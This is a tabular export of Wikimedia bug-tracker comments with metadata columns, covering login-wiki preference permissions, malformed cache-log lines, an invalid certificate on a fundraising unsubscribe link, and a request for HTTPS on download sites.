+So what is the reason why people can not be allowed to change their settings? Why is it set to vector and not to one of the other possibilities?",,,1388964824,,PHID-USER-w5jfyyrsmzhqbvis3i23,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,False,,,-78,True,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,1,0
+263398,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #11)
+> I really see no reason why users there, especially those who use that project
+> shouldn't be allowed to decide themselves which language they want to see, or
+> which skin they want to use. There is no reason to restrict that to some
+> randomly chosen setting.
+
+It's hardly random
+
+And they can set their language",,,1388964414,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1
+263394,Personal adjustment of setting on login.wikimedia.org,"I really see no reason why users there, especially those who use that project shouldn't be allowed to decide themselves which language they want to see, or which skin they want to use. There is no reason to restrict that to some randomly chosen setting.
+
+Also, no, I've no ""bigger issues"". I could also ask why the setting isn't set to Chinese as language and to cologne blue as skin setting. If there is no serious reason to patronize users by taking them the choice, then they should be given the choice to decide what language or skin we want to use.",,,1388964339,,PHID-USER-w5jfyyrsmzhqbvis3i23,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,False,,,-78,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,0
+263392,Personal adjustment of setting on login.wikimedia.org,"if ( $wgDBname == 'loginwiki' ) {
+	$wgGroupPermissions['*'] = array(
+		'read' => true,
+		'centralauth-autoaccount' => true,
+	);
+	$wgGroupPermissions['user'] = array(
+		'read' => true,
+	);
+	$wgGroupPermissions['autoconfirmed'] = array(
+		'read' => true,
+	);
+
+	unset( $wgGroupPermissions['import'] );
+	unset( $wgGroupPermissions['transwiki'] );
+
+	$wgGroupPermissions['sysop'] = array_merge(
+		$wgGroupPermissions['sysop'],
+		array(
+			'editinterface' => false,
+			'editusercss' => false,
+			'edituserjs' => false,
+		)
+	);
+}
+
+
+Anyone would think we made those changes for a reason",,,1388964137,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+263390,Personal adjustment of setting on login.wikimedia.org,"https://en.wikipedia.org/wiki/Special:ListGroupRights shows the ""editmyoptions"" user right applied to the implicit (all) group.
+
+https://login.wikimedia.org/wiki/Special:ListGroupRights doesn't show a similar user right applied to any user group. Not sure what's going on.",,,1388963724,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0
+263388,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #6)
+> You realise if we ""just"" give it to one group, every other group will want it
+> too?
+
+Okay. Let's take a step back here: why can't users set preferences on login.wikimedia.org?
+
+> And what reason do we have to not let them?
+
+In my opinion, the onus is on the person wanting to restrict a common user behavior (setting pre-user preferences). That is, _you_ need a reason to restrict a user from setting preferences rather than trying to require that _others_ find a reason to be able to set per-user preferences.",,,1388963467,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+263385,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #2)
+> And others like me simply dislike the vector skin and would like to change
+> it.
+
+ULS works fine
+
+(In reply to comment #3)
+> Setting language is possible with UniversalLanguageSelector.
+> 
+> (Is this a bug of ULS that it doesn't respect the wiki's permission
+> configurations here?)",,,1388963404,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,1
+263380,Personal adjustment of setting on login.wikimedia.org,"You realise if we ""just"" give it to one group, every other group will want it too? And what reason do we have to not let them?",,,1388963231,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0
+263377,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #4)
+> (In reply to comment #1)
+> > Why?
+> 
+> Why not? ;-)
+
+Just because you can doesn't make it a good idea
+
+(In reply to comment #4)
+> In seriousness, this wiki is used by the stewards for some things, so having
+> those customisation options there makes sense.
+
+For what?
+
+(In reply to comment #3)
+> Setting language is possible with UniversalLanguageSelector.
+> 
+> (Is this a bug of ULS that it doesn't respect the wiki's permission
+> configurations here?)
+
+Possibly, but not really that big of a one...
+
+(In reply to comment #2)
+> Is it that much of a problem to give people the choice which skin or language
+> they want to use? We've stewards no fluent in English who may would like to
+> use
+> their language for better understand.
+> 
+> And others like me simply dislike the vector skin and would like to change
+> it.
+
+Sounds like you've got bigger issues",,,1388963184,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+263375,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #1)
+> Why?
+
+Why not? ;-)
+
+In seriousness, this wiki is used by the stewards for some things, so having those customisation options there makes sense.",,,1388958297,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1
+263369,Personal adjustment of setting on login.wikimedia.org,"Setting language is possible with UniversalLanguageSelector.
+
+(Is this a bug of ULS that it doesn't respect the wiki's permission configurations here?)",,,1388948750,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+263365,Personal adjustment of setting on login.wikimedia.org,"Is it that much of a problem to give people the choice which skin or language they want to use? We've stewards no fluent in English who may would like to use their language for better understand.
+
+And others like me simply dislike the vector skin and would like to change it.",,,1388948681,,PHID-USER-w5jfyyrsmzhqbvis3i23,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,False,,,-78,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0
+263359,Personal adjustment of setting on login.wikimedia.org,Why?,,,1388948346,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+61645,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"Since 2013-12-10 we're seeing between 15-40 lines per day in the
+sampled-1000 cache logs that have “nan” in the “Request service time”
+column [1].
+For the mobile-sampled-100 cache logs it is 10-30 such lines per day [2].
+The zero logs do not show any affected lines up to now.
+
+The affected lines come with “-/” for the “Request status / HTTP
+status code” column, and “Reply size” is “-”.
+
+
+
+[1] The first occurrence for the sampled-1000 stream can be obtained by
+running
+
+  zgrep 49094481570 /a/squid/archive/sampled/sampled-1000.tsv.log-20131210.gz
+
+on stat1002. That line is for cp1050.eqiad.wmnet on
+2013-12-10T03:36:04.
+
+[2] The first occurrence for the mobile-sampled-100 stream can be
+obtained by running
+
+  zgrep 9650126710 /a/squid/archive/mobile/mobile-sampled-100.tsv.log-20131210.gz
+
+on stat1002. That line is for cp1047.eqiad.wmnet on
+2013-12-10T02:01:24.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1388846760,1411156173.0,PHID-USER-pntojlcbclwhuip53bix,False,,False,PHID-TASK-75trrojx3mwpmttjtrpl,task_description,resolved,True,c3,1,True,False,True,-78,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+261010,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/cards/1391",,,1390946223,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-75trrojx3mwpmttjtrpl,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+261006,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"(In reply to comment #3)
+> Per Andrew/Stefan -- this ends up causing problems with Hive.
+> 
+> Magnus has created a patch; we hope to get this deployed this week.
+
+Yes, but that'll only address the issue on the varnishkafka side.
+
+varnishncsa (hence udp2log, webstatscollector, tsvs) do not benefit
+from this fix.",,,1389130450,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-75trrojx3mwpmttjtrpl,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+261001,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"(In reply to comment #2)
+> what's the impact of this?
+
+It's not super critical.
+But since it seems to be more than just the nans, it may be more than the
+initial few lines that are affected.
+
+> Do we need to spend some
+> time
+> working with ops to track it down?
+
+Ops already know and had a first look :-)
+
+It seems only the nans started on 2013-12-10. Some bogus requests were
+there before, but it seems they have been treated differently.
+Not sure yet.",,,1389130367,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-75trrojx3mwpmttjtrpl,task_subcomment,,True,c3,1,True,,,-78,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,1,0,1
+260995,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"Per Andrew/Stefan -- this ends up causing problems with Hive.
+
+Magnus has created a patch; we hope to get this deployed this week.",,,1389107439,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-75trrojx3mwpmttjtrpl,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+260988,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"Hi Christian, Erik -- what's the impact of this? Do we need to spend some time working with ops to track it down?
+
+thanks,
+
+-Toby",,,1389104298,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-75trrojx3mwpmttjtrpl,task_subcomment,,True,c3,1,False,,,-78,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+260979,Lines with “nan” for “Request service time” column and empty HTTP status code in cache logs,"The host name of the affected lines range over all hosts in
+upload-eqiad, upload-esams, and mobile-eqiad, but no other cache.
+
+The request method of the affected lines look mangled. HEAD+GET
+account for ~55% of the affected lines. The other 45% of the affected
+lines, the logged request method looks like being part of the http
+header [1].
+
+The URL column of the affected lines is for about 8% the mobile
+version of jawiki and ptwiki. None of those 8% show a User Agent,
+Referrer, or Accept-Language.
+
+For >80% of the affected lines, the URL column is upload.wikimedia.org.
+
+For the remaining ~10% of affected lines, the URL column did not make
+too much sense. They are for example “http://-en-US,en;q=0.8”. So it's
+also header information that spilled over into this column.
+
+Requested URLs are not distributed all over the place, but rather
+isolated. So for example the requested URL for ~33% of the affected
+lines was:
+  http://upload.wikimedia.orgHTTP/1.1
+For ~12% it was
+  http://upload.wikimedia.org/wikipedia/en/c/ca/2M_TV_(logo).gif""""
+.
+
+And those requests are not clustered around a certain date / time, but
+span the whole date / time range between 2013-12-10 and now.
+
+The referrers are “-” for ~60% of affected lines, and for ~32% some
+Url from mobile enwiki.
+
+The logged User-Agents, Accept-Languages look sane.
+
+
+
+[1] Here are some examples:
+  Accept-Language:
+  x-Mercedes-Benz_Three_Point_Star.jpg
+  exagonal_Icon.svg.png
+  .svg.png
+  Referer:
+  HTTP/1.1
+
+To see more of them, run
+  cut -f 8 /home/qchris/nan.tsv | sort | uniq -c | sort -n
+on stat1002.",,,1388846784,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-75trrojx3mwpmttjtrpl,task_subcomment,,True,c3,1,True,,,-78,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+60373,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"This may need to be split out to separate bug reports.
+
+The annual fundraising e-mail contains this text:
+
+---
+You are receiving this email as a valued donor of the Wikimedia Foundation. If you do not wish to receive any future emails from the Wikimedia Foundation, unsubscribe instantly.
+---
+
+""unsubscribe instantly"" is a link to <https://links.email.donate.wikimedia.org/>. This domain doesn't have a valid SSL certificate, so the browser throws a terrifying warning. This is bad.
+
+If the user chooses to proceed, he or she is presented with an awful form (so much for instantly unsubscribing...):
+
+---
+Opt-out Email Confirmation
+Enter Email: [              ]
+
+[No, I do NOT wish to Unsubscribe]   [Yes, Unsubscribe me]
+---
+
+Requiring the user to re-enter his or her e-mail address is a pretty dickish move.
+
+And finally, ""No, I do NOT wish to Unsubscribe"" is abominable language. The only way the user can figure out what that button does is by reading the other button and realizing it's the ""Yes"" button that he or she wants.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=72514",Medium,50.0,1386822720,1422036519.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-uxp3hc4banddtiwz6xrp,True,PHID-TASK-w6jfvymbposku7vv47q2,task_description,resolved,True,c3,1,True,False,True,-81,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+402547,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"I've looked into this further, and we have been able to update the unsubscribe link address so that the SSL cert is valid. I'd also like to note the form was updated about a month after this bugzilla ticket was initially created, and the ""No I do NOT wish..."" line was removed at that time for a much clearer opt-out. The only drawback is we had to change the link to:
+https://www.pages04.net/wikimedia/WMFUnsubscribe/, however I think the tradeoff is worthwhile.
+
+All future email appeals sent from Fundraising will use this new link (none have been sent yet in 2015). ",,,1422036519,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-23,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,0
+401520,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,The HTTPS Everywhere rules have been amended to avoid causing the security certificate warning for this domain. https://github.com/EFForg/https-everywhere/issues/686,,,1421706756,,PHID-USER-grgqimagqq3ankitlzm5,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+259337,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,[Resetting severity & priority as per comment 7],,,1388659690,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1
+259333,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"**mwalker** wrote:
+
+Oh; we're aware of this all right. There's just not much we can actually do about it at this point. We tried fixing it but it broke other things... so we're delaying on this until after the fundraiser.
+
+Our current position is that individuals using something like SSL Everywhere are an edgecase; and that a unsubscribe page that works consistently is currently better than one that doesn't work at all.",,,1387392865,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,False,,,-81,True,1,1,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+259328,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,Setting highest prio; I don't see how opt'ing out of an annual email requires immediate action. Now somebody please ping the Fundraising folks. ;),,,1387376170,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-81,True,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+259322,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"Confirming ""Untrusted cert"" warning for https://links.email.donate.wikimedia.org/
+
+links.email.donate.wikimedia.org uses an invalid security certificate. The certificate is only valid for *.links.mkt41.net (Error code: ssl_error_bad_cert_domain)",,,1386943948,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-81,True,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+259316,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"Curious, I had no trouble earlier today but now I do see the dread warning in Firefox. Mysterious indeed?
+
+""The certificate is only valid for *.links.mkt41.net""
+
+Bumping up prio.",,,1386914003,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-81,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0
+259312,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"(In reply to comment #1)
+> I see no such warning in current Firefox or Safari.
+
+Using Firefox 25.0 on Linux, for me it displays the security warning about invalid certificate, with the same reason as the screenshot of attachment 14074",,,1386879955,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-81,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+259307,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"Created attachment 14074
+Screenshot of https://links.email.donate.wikimedia.org in Google Chrome, OS X, 2013-12-12
+
+(In reply to comment #1)
+> I see no such warning in current Firefox or Safari.
+
+Perhaps specific to Chrome? Uploaded a screenshot.
+
+**Attached**: {F12010}",,,1386879568,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-81,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+259304,Opting out of the annual fundraising e-mail is a terrible user experience; links.email.donate.wikimedia.org has invalid certificate,"(In reply to comment #0)
+> ""unsubscribe instantly"" is a link to
+> <https://links.email.donate.wikimedia.org/>. This domain doesn't have a valid
+> SSL certificate, so the browser throws a terrifying warning. This is bad.
+
+I see no such warning in current Firefox or Safari.
+
+The form looks pretty awful though.",,,1386870431,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-w6jfvymbposku7vv47q2,task_subcomment,,True,c3,1,True,,,-81,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+60292,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","I imagine it might be additionally useful for .sig files, but just in general ""because we can"", right?
+
+http://download.wikimedia.org/mediawiki/1.22/mediawiki-1.22.0.tar.gz
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1386713040,1411427599.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_description,declined,True,c3,1,True,False,True,-82,True,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0
